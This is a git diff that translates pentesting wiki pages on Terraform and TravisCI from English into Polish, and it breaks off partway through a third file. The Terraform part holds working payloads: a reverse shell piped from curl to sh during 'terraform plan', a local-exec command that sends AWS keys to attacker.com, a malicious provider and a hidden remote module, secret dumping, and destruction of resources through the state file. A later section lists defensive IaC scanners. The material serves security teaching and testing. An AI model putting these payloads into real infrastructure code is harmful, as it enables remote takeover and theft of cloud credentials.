+HashiCorp i społeczność Terraform już napisały **ponad 1700 dostawców** do zarządzania tysiącami różnych typów zasobów i usług, a ta liczba wciąż rośnie. Wszystkich publicznie dostępnych dostawców można znaleźć w [Terraform Registry](https://registry.terraform.io/), w tym Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog i wiele innych.
-The core Terraform workflow consists of three stages:
+Podstawowy przepływ pracy Terraform składa się z trzech etapów:
-- **Write:** You define resources, which may be across multiple cloud providers and services. For example, you might create a configuration to deploy an application on virtual machines in a Virtual Private Cloud (VPC) network with security groups and a load balancer.
-- **Plan:** Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration.
-- **Apply:** On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies. For example, if you update the properties of a VPC and change the number of virtual machines in that VPC, Terraform will recreate the VPC before scaling the virtual machines.
+- **Napisz:** Definiujesz zasoby, które mogą być rozproszone w różnych dostawcach chmurowych i usługach. Na przykład możesz stworzyć konfigurację do wdrożenia aplikacji na maszynach wirtualnych w sieci Virtual Private Cloud (VPC) z grupami zabezpieczeń i równoważnikiem obciążenia.
+- **Zaplanuj:** Terraform tworzy plan wykonania opisujący infrastrukturę, którą utworzy, zaktualizuje lub zniszczy na podstawie istniejącej infrastruktury i twojej konfiguracji.
+- **Zastosuj:** Po zatwierdzeniu Terraform wykonuje proponowane operacje w odpowiedniej kolejności, respektując wszelkie zależności zasobów. Na przykład, jeśli zaktualizujesz właściwości VPC i zmienisz liczbę maszyn wirtualnych w tym VPC, Terraform najpierw odtworzy VPC przed skalowaniem maszyn wirtualnych.
.png>)
-### Terraform Lab
+### Laboratorium Terraform
-Just install terraform in your computer.
+Po prostu zainstaluj terraform na swoim komputerze.
-Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads).
+Tutaj masz [przewodnik](https://learn.hashicorp.com/tutorials/terraform/install-cli), a tutaj masz [najlepszy sposób na pobranie terraform](https://www.terraform.io/downloads).
-## RCE in Terraform
+## RCE w Terraform
-Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files**.
+Terraform **nie ma platformy, która udostępnia stronę internetową lub usługę sieciową**, którą możemy enumerować, dlatego jedynym sposobem na skompromitowanie terraform jest **możliwość dodawania/modyfikowania plików konfiguracyjnych terraform**.
-However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly.
+Jednak terraform jest **bardzo wrażliwym komponentem** do skompromitowania, ponieważ będzie miał **uprzywilejowany dostęp** do różnych lokalizacji, aby mógł działać poprawnie.
-The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**.
+Głównym sposobem, w jaki atakujący może skompromitować system, na którym działa terraform, jest **skomprimitowanie repozytorium, które przechowuje konfiguracje terraform**, ponieważ w pewnym momencie będą one **interpretowane**.
-Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**:
+W rzeczywistości istnieją rozwiązania, które **automatycznie wykonują terraform plan/apply po utworzeniu PR**, takie jak **Atlantis**:
{{#ref}}
atlantis-security.md
{{#endref}}
-If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`.
+Jeśli uda ci się skompromitować plik terraform, istnieją różne sposoby, aby przeprowadzić RCE, gdy ktoś wykona `terraform plan` lub `terraform apply`.
### Terraform plan
-Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`.
+Terraform plan to **najczęściej używane polecenie** w terraform i deweloperzy/rozwiązania korzystające z terraform wywołują je cały czas, więc **najłatwiejszym sposobem na uzyskanie RCE** jest upewnienie się, że zainfekujesz plik konfiguracyjny terraform, który wykona dowolne polecenia w `terraform plan`.
-**Using an external provider**
+**Używając zewnętrznego dostawcy**
-Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`.
-
-Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`:
+Terraform oferuje [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs), który zapewnia sposób interakcji między Terraform a programami zewnętrznymi. Możesz użyć źródła danych `external`, aby uruchomić dowolny kod podczas `plan`.
+Wstrzyknięcie do pliku konfiguracyjnego terraform czegoś takiego jak poniżej spowoduje wykonanie rev shell podczas wykonywania `terraform plan`:
```javascript
data "external" "example" {
- program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
+program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
-
-**Using a custom provider**
+**Używanie niestandardowego dostawcy**
An attacker could send a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) to the [Terraform Registry](https://registry.terraform.io/) and then add it to the Terraform code in a feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
-
```javascript
- terraform {
- required_providers {
- evil = {
- source = "evil/evil"
- version = "1.0"
- }
- }
- }
+terraform {
+required_providers {
+evil = {
+source = "evil/evil"
+version = "1.0"
+}
+}
+}
provider "evil" {}
```
+Dostawca jest pobierany w `init` i uruchomi złośliwy kod, gdy `plan` zostanie wykonany
-The provider is downloaded in the `init` and will run the malicious code when `plan` is executed
+Możesz znaleźć przykład w [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
-You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
+**Używanie zewnętrznego odniesienia**
-**Using an external reference**
-
-Both mentioned options are useful but not very stealthy (the second is more stealthy but more complex than the first one). You can perform this attack even in a **stealthier way**, by following this suggestions:
-
-- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
+Obie wspomniane opcje są przydatne, ale nie bardzo dyskretne (druga jest bardziej dyskretna, ale bardziej skomplikowana niż pierwsza). Możesz przeprowadzić ten atak nawet w **bardziej dyskretny sposób**, stosując się do tych sugestii:
+- Zamiast dodawać rev shell bezpośrednio do pliku terraform, możesz **załadować zewnętrzny zasób**, który zawiera rev shell:
```javascript
module "not_rev_shell" {
- source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
+source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
+Możesz znaleźć kod rev shell w [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
-You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
-
-- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- W zewnętrznym zasobie użyj funkcji **ref**, aby ukryć **kod rev shell terraform w gałęzi** wewnątrz repo, coś takiego: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
### Terraform Apply
-Terraform apply will be executed to apply all the changes, you can also abuse it to obtain RCE injecting **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
-You just need to make sure some payload like the following ones ends in the `main.tf` file:
-
+Terraform apply zostanie wykonany, aby zastosować wszystkie zmiany, możesz go również nadużyć, aby uzyskać RCE, wstrzykując **złośliwy plik Terraform z** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
+Musisz tylko upewnić się, że jakiś ładunek, taki jak poniższe, kończy się w pliku `main.tf`:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
- provisioner "local-exec" {
- command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
- }
+provisioner "local-exec" {
+command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
+}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
- provisioner "local-exec" {
- command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
- }
+provisioner "local-exec" {
+command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
+}
}
```
+Postępuj zgodnie z **zaleceniami z poprzedniej techniki**, aby przeprowadzić ten atak w **bardziej ukryty sposób, używając zewnętrznych odniesień**.
-Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**.
-
-## Secrets Dumps
-
-You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like:
+## Zrzuty sekretów
+Możesz mieć **wartości sekretów używanych przez terraform zrzucane** uruchamiając `terraform apply`, dodając do pliku terraform coś takiego:
```json
output "dotoken" {
- value = nonsensitive(var.do_token)
+value = nonsensitive(var.do_token)
}
```
+## Wykorzystywanie plików stanu Terraform
-## Abusing Terraform State Files
+W przypadku, gdy masz dostęp do zapisu plików stanu terraform, ale nie możesz zmienić kodu terraform, [**te badania**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) oferują kilka interesujących opcji, aby skorzystać z pliku:
-In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file:
+### Usuwanie zasobów
-### Deleting resources
+Istnieją 2 sposoby na zniszczenie zasobów:
-There are 2 ways to destroy resources:
-
-1. **Insert a resource with a random name into the state file pointing to the real resource to destroy**
-
-Because terraform will see that the resource shouldn't exit, it'll destroy it (following the real resource ID indicated). Example from the previous page:
+1. **Wstaw zasób o losowej nazwie do pliku stanu wskazujący na rzeczywisty zasób do zniszczenia**
+Ponieważ terraform zobaczy, że zasób nie powinien istnieć, zniszczy go (zgodnie z rzeczywistym identyfikatorem zasobu wskazanym). Przykład z poprzedniej strony:
```json
{
- "mode": "managed",
- "type": "aws_instance",
- "name": "example",
- "provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
- "instances": [
- {
- "attributes": {
- "id": "i-1234567890abcdefg"
- }
- }
- ]
+"mode": "managed",
+"type": "aws_instance",
+"name": "example",
+"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
+"instances": [
+{
+"attributes": {
+"id": "i-1234567890abcdefg"
+}
+}
+]
},
```
+2. **Zmień zasób do usunięcia w sposób, który uniemożliwia aktualizację (tak, aby został usunięty i odtworzony)**
-2. **Modify the resource to delete in a way that it's not possible to update (so it'll be deleted a recreated)**
-
-For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it.
+Dla instancji EC2, zmiana typu instancji wystarczy, aby terraform usunął i odtworzył ją.
### RCE
-It's also possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add an empty resource with the malicious provider. Example from the original research:
-
+Możliwe jest również [utworzenie niestandardowego dostawcy](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) i po prostu zastąpienie jednego z dostawców w pliku stanu terraform złośliwym lub dodanie pustego zasobu z złośliwym dostawcą. Przykład z oryginalnych badań:
```json
"resources": [
{
- "mode": "managed",
- "type": "scaffolding_example",
- "name": "example",
- "provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
- "instances": [
+"mode": "managed",
+"type": "scaffolding_example",
+"name": "example",
+"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
+"instances": [
- ]
+]
},
```
+### Zastąpienie zablokowanego dostawcy
-### Replace blacklisted provider
-
-In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well.
-
+W przypadku napotkania sytuacji, w której `hashicorp/external` został zablokowany, możesz ponownie zaimplementować dostawcę `external`, wykonując następujące kroki. Uwaga: Używamy forka dostawcy external opublikowanego przez https://registry.terraform.io/providers/nazarewk/external/latest. Możesz również opublikować własny fork lub ponowną implementację.
```terraform
terraform {
- required_providers {
- external = {
- source = "nazarewk/external"
- version = "3.0.0"
- }
- }
+required_providers {
+external = {
+source = "nazarewk/external"
+version = "3.0.0"
+}
+}
}
```
-
-Then you can use `external` as per normal.
-
+Następnie możesz użyć `external` jak zwykle.
```terraform
data "external" "example" {
- program = ["sh", "-c", "whoami"]
+program = ["sh", "-c", "whoami"]
}
```
-
-## Automatic Audit Tools
+## Narzędzia do automatycznego audytu
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
-Snyk offers a comprehensive Infrastructure as Code (IaC) scanning solution that detects vulnerabilities and misconfigurations in Terraform, CloudFormation, Kubernetes, and other IaC formats.
-
-- **Features:**
- - Real-time scanning for security vulnerabilities and compliance issues.
- - Integration with version control systems (GitHub, GitLab, Bitbucket).
- - Automated fix pull requests.
- - Detailed remediation advice.
-- **Sign Up:** Create an account on [Snyk](https://snyk.io/).
+Snyk oferuje kompleksowe rozwiązanie do skanowania Infrastructure as Code (IaC), które wykrywa luki i błędne konfiguracje w Terraform, CloudFormation, Kubernetes i innych formatach IaC.
+- **Funkcje:**
+- Skanowanie w czasie rzeczywistym w poszukiwaniu luk w zabezpieczeniach i problemów z zgodnością.
+- Integracja z systemami kontroli wersji (GitHub, GitLab, Bitbucket).
+- Zautomatyzowane prośby o poprawki.
+- Szczegółowe porady dotyczące usuwania problemów.
+- **Zarejestruj się:** Utwórz konto na [Snyk](https://snyk.io/).
```bash
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code
```
-
### [Checkov](https://github.com/bridgecrewio/checkov)
-**Checkov** is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages.
+**Checkov** to narzędzie do analizy statycznej kodu dla infrastruktury jako kodu (IaC) oraz narzędzie do analizy składu oprogramowania (SCA) dla obrazów i pakietów open source.
-It scans cloud infrastructure provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) and detects security and compliance misconfigurations using graph-based scanning.
-
-It performs [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs).
+Skanuje infrastrukturę chmurową dostarczoną za pomocą [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) lub [OpenTofu](https://opentofu.org/) i wykrywa błędy w konfiguracji bezpieczeństwa i zgodności za pomocą skanowania opartego na grafach.
+Wykonuje [analizę składu oprogramowania (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), która jest skanowaniem pakietów open source i obrazów pod kątem powszechnych luk w zabezpieczeniach (CVE).
```bash
pip install checkov
checkov -d /path/to/folder
```
-
### [terraform-compliance](https://github.com/terraform-compliance/cli)
-From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is a lightweight, security and compliance focused test framework against terraform to enable negative testing capability for your infrastructure-as-code.
+Z [**dokumentacji**](https://github.com/terraform-compliance/cli): `terraform-compliance` to lekkie, skoncentrowane na bezpieczeństwie i zgodności ramy testowe dla terraform, które umożliwiają negatywne testowanie twojej infrastruktury jako kodu.
-- **compliance:** Ensure the implemented code is following security standards, your own custom standards
-- **behaviour driven development:** We have BDD for nearly everything, why not for IaC ?
-- **portable:** just install it from `pip` or run it via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/)
-- **pre-deploy:** it validates your code before it is deployed
-- **easy to integrate:** it can run in your pipeline (or in git hooks) to ensure all deployments are validated.
-- **segregation of duty:** you can keep your tests in a different repository where a separate team is responsible.
+- **zgodność:** Upewnij się, że wdrożony kod przestrzega standardów bezpieczeństwa oraz twoich własnych standardów.
+- **rozwój oparty na zachowaniu:** Mamy BDD prawie dla wszystkiego, dlaczego nie dla IaC?
+- **przenośność:** wystarczy zainstalować z `pip` lub uruchomić za pomocą `docker`. Zobacz [Instalacja](https://terraform-compliance.com/pages/installation/)
+- **przed wdrożeniem:** waliduje twój kod przed jego wdrożeniem.
+- **łatwość integracji:** może działać w twoim pipeline (lub w git hooks), aby zapewnić, że wszystkie wdrożenia są walidowane.
+- **segregacja obowiązków:** możesz przechowywać swoje testy w innym repozytorium, gdzie odpowiedzialny jest osobny zespół.
> [!NOTE]
-> Unfortunately if the code is using some providers you don't have access to you won't be able to perform the `terraform plan` and run this tool.
-
+> Niestety, jeśli kod korzysta z niektórych dostawców, do których nie masz dostępu, nie będziesz mógł wykonać `terraform plan` i uruchomić to narzędzie.
```bash
pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder
```
-
### [tfsec](https://github.com/aquasecurity/tfsec)
-From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations.
-
-- ☁️ Checks for misconfigurations across all major (and some minor) cloud providers
-- ⛔ Hundreds of built-in rules
-- 🪆 Scans modules (local and remote)
-- ➕ Evaluates HCL expressions as well as literal values
-- ↪️ Evaluates Terraform functions e.g. `concat()`
-- 🔗 Evaluates relationships between Terraform resources
-- 🧰 Compatible with the Terraform CDK
-- 🙅 Applies (and embellishes) user-defined Rego policies
-- 📃 Supports multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
-- 🛠️ Configurable (via CLI flags and/or config file)
-- ⚡ Very fast, capable of quickly scanning huge repositories
+Z [**dokumentacji**](https://github.com/aquasecurity/tfsec): tfsec wykorzystuje analizę statyczną twojego kodu terraform, aby wykryć potencjalne błędy konfiguracyjne.
+- ☁️ Sprawdza błędy konfiguracyjne we wszystkich głównych (i niektórych mniejszych) dostawcach chmury
+- ⛔ Setki wbudowanych reguł
+- 🪆 Skanuje moduły (lokalne i zdalne)
+- ➕ Ocenia wyrażenia HCL oraz wartości dosłowne
+- ↪️ Ocenia funkcje Terraform, np. `concat()`
+- 🔗 Ocenia relacje między zasobami Terraform
+- 🧰 Kompatybilny z Terraform CDK
+- 🙅 Zastosowuje (i wzbogaca) zdefiniowane przez użytkownika polityki Rego
+- 📃 Obsługuje wiele formatów wyjściowych: lovely (domyślny), JSON, SARIF, CSV, CheckStyle, JUnit, tekst, Gif.
+- 🛠️ Konfigurowalny (za pomocą flag CLI i/lub pliku konfiguracyjnego)
+- ⚡ Bardzo szybki, zdolny do szybkiego skanowania ogromnych repozytoriów
```bash
brew install tfsec
tfsec /path/to/folder
```
-
### [KICKS](https://github.com/Checkmarx/kics)
-Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code with **KICS** by Checkmarx.
-
-**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, it is open source and is a must-have for any cloud native project.
+Znajdź luki w zabezpieczeniach, problemy z zgodnością i błędy w konfiguracji infrastruktury na wczesnym etapie cyklu rozwoju swojej infrastruktury jako kodu z **KICS** od Checkmarx.
+**KICS** oznacza **K**eeping **I**nfrastructure as **C**ode **S**ecure, jest to projekt open source i jest niezbędny w każdym projekcie chmurowym.
```bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```
-
### [Terrascan](https://github.com/tenable/terrascan)
-From the [**docs**](https://github.com/tenable/terrascan): Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to:
-
-- Seamlessly scan infrastructure as code for misconfigurations.
-- Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture.
-- Detect security vulnerabilities and compliance violations.
-- Mitigate risks before provisioning cloud native infrastructure.
-- Offers flexibility to run locally or integrate with your CI\CD.
+Z [**dokumentacji**](https://github.com/tenable/terrascan): Terrascan to statyczny analizator kodu dla Infrastruktury jako Kod. Terrascan pozwala Ci na:
+- Bezproblemowe skanowanie infrastruktury jako kod w poszukiwaniu błędnych konfiguracji.
+- Monitorowanie dostarczonej infrastruktury chmurowej w celu wykrywania zmian konfiguracji, które wprowadzają odchylenia w postawie, oraz umożliwia powrót do bezpiecznej postawy.
+- Wykrywanie luk w zabezpieczeniach i naruszeń zgodności.
+- Łagodzenie ryzyk przed dostarczeniem natywnej infrastruktury chmurowej.
+- Oferuje elastyczność uruchamiania lokalnie lub integracji z Twoim CI\CD.
```bash
brew install terrascan
```
-
-## References
+## Odniesienia
- [Atlantis Security](atlantis-security.md)
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
@@ -310,7 +280,3 @@ brew install terrascan
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/todo.md b/src/pentesting-ci-cd/todo.md
index 63a3bb5c8..c03628c32 100644
--- a/src/pentesting-ci-cd/todo.md
+++ b/src/pentesting-ci-cd/todo.md
@@ -2,7 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
-Github PRs are welcome explaining how to (ab)use those platforms from an attacker perspective
+Github PRs są mile widziane, wyjaśniając, jak (nadużywać) tych platform z perspektywy atakującego
- Drone
- TeamCity
@@ -11,10 +11,6 @@ Github PRs are welcome explaining how to (ab)use those platforms from an attacke
- Rancher
- Mesosphere
- Radicle
-- Any other CI/CD platform...
+- Jakakolwiek inna platforma CI/CD...
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md
index cff623392..28f612675 100644
--- a/src/pentesting-ci-cd/travisci-security/README.md
+++ b/src/pentesting-ci-cd/travisci-security/README.md
@@ -4,7 +4,7 @@
## What is TravisCI
-**Travis CI** is a **hosted** or on **premises** **continuous integration** service used to build and test software projects hosted on several **different git platform**.
+**Travis CI** to **hostowana** lub na **miejscu** usługa **ciągłej integracji**, która służy do budowania i testowania projektów oprogramowania hostowanych na kilku **różnych platformach git**.
{{#ref}}
basic-travisci-information.md
@@ -14,48 +14,48 @@ basic-travisci-information.md
### Triggers
-To launch an attack you first need to know how to trigger a build. By default TravisCI will **trigger a build on pushes and pull requests**:
+Aby przeprowadzić atak, najpierw musisz wiedzieć, jak uruchomić budowę. Domyślnie TravisCI **uruchomi budowę przy pushach i pull requestach**:
.png>)
#### Cron Jobs
-If you have access to the web application you can **set crons to run the build**, this could be useful for persistence or to trigger a build:
+Jeśli masz dostęp do aplikacji internetowej, możesz **ustawić crony do uruchamiania budowy**, co może być przydatne do utrzymania lub uruchamiania budowy:
.png>)
> [!NOTE]
-> It looks like It's not possible to set crons inside the `.travis.yml` according to [this](https://github.com/travis-ci/travis-ci/issues/9162).
+> Wygląda na to, że nie jest możliwe ustawienie cronów wewnątrz `.travis.yml` zgodnie z [tym](https://github.com/travis-ci/travis-ci/issues/9162).
### Third Party PR
-TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets:
+TravisCI domyślnie wyłącza udostępnianie zmiennych środowiskowych z PR-ów pochodzących od stron trzecich, ale ktoś może to włączyć, a wtedy możesz stworzyć PR do repozytorium i wyeksfiltrować sekrety:
.png>)
### Dumping Secrets
-As explained in the [**basic information**](basic-travisci-information.md) page, there are 2 types of secrets. **Environment Variables secrets** (which are listed in the web page) and **custom encrypted secrets**, which are stored inside the `.travis.yml` file as base64 (note that both as stored encrypted will end as env variables in the final machines).
+Jak wyjaśniono na stronie [**podstawowe informacje**](basic-travisci-information.md), istnieją 2 typy sekretów. **Sekrety zmiennych środowiskowych** (które są wymienione na stronie internetowej) oraz **niestandardowe zaszyfrowane sekrety**, które są przechowywane w pliku `.travis.yml` jako base64 (zauważ, że oba, jako przechowywane zaszyfrowane, będą kończyć jako zmienne środowiskowe na finalnych maszynach).
-- To **enumerate secrets** configured as **Environment Variables** go to the **settings** of the **project** and check the list. However, note that all the project env variables set here will appear when triggering a build.
-- To enumerate the **custom encrypted secrets** the best you can do is to **check the `.travis.yml` file**.
-- To **enumerate encrypted files** you can check for **`.enc` files** in the repo, for lines similar to `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in the config file, or for **encrypted iv and keys** in the **Environment Variables** such as:
+- Aby **wyliczyć sekrety** skonfigurowane jako **zmienne środowiskowe**, przejdź do **ustawień** projektu i sprawdź listę. Należy jednak pamiętać, że wszystkie zmienne środowiskowe projektu ustawione tutaj pojawią się podczas uruchamiania budowy.
+- Aby wyliczyć **niestandardowe zaszyfrowane sekrety**, najlepiej jest **sprawdzić plik `.travis.yml`**.
+- Aby **wyliczyć zaszyfrowane pliki**, możesz sprawdzić **pliki `.enc`** w repozytorium, w poszukiwaniu linii podobnych do `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` w pliku konfiguracyjnym, lub dla **zaszyfrowanych iv i kluczy** w **zmiennych środowiskowych**, takich jak:
.png>)
### TODO:
-- Example build with reverse shell running on Windows/Mac/Linux
-- Example build leaking the env base64 encoded in the logs
+- Przykład budowy z odwróconym shellem działającym na Windows/Mac/Linux
+- Przykład budowy wyciekającej zmienną środowiskową zakodowaną w base64 w logach
### TravisCI Enterprise
-If an attacker ends in an environment which uses **TravisCI enterprise** (more info about what this is in the [**basic information**](basic-travisci-information.md#travisci-enterprise)), he will be able to **trigger builds in the the Worker.** This means that an attacker will be able to move laterally to that server from which he could be able to:
+Jeśli atakujący znajdzie się w środowisku, które używa **TravisCI enterprise** (więcej informacji na ten temat w [**podstawowych informacjach**](basic-travisci-information.md#travisci-enterprise)), będzie mógł **uruchomić budowy w Workerze.** Oznacza to, że atakujący będzie mógł poruszać się lateralnie do tego serwera, z którego mógłby:
-- escape to the host?
-- compromise kubernetes?
-- compromise other machines running in the same network?
-- compromise new cloud credentials?
+- uciec do hosta?
+- skompromitować kubernetes?
+- skompromitować inne maszyny działające w tej samej sieci?
+- skompromitować nowe dane uwierzytelniające w chmurze?
## References
@@ -63,7 +63,3 @@ If an attacker ends in an environment which uses **TravisCI enterprise** (more i
- [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
index 46b10bf38..a0e471340 100644
--- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
+++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
@@ -1,48 +1,45 @@
-# Basic TravisCI Information
+# Podstawowe informacje o TravisCI
{{#include ../../banners/hacktricks-training.md}}
-## Access
+## Dostęp
-TravisCI directly integrates with different git platforms such as Github, Bitbucket, Assembla, and Gitlab. It will ask the user to give TravisCI permissions to access the repos he wants to integrate with TravisCI.
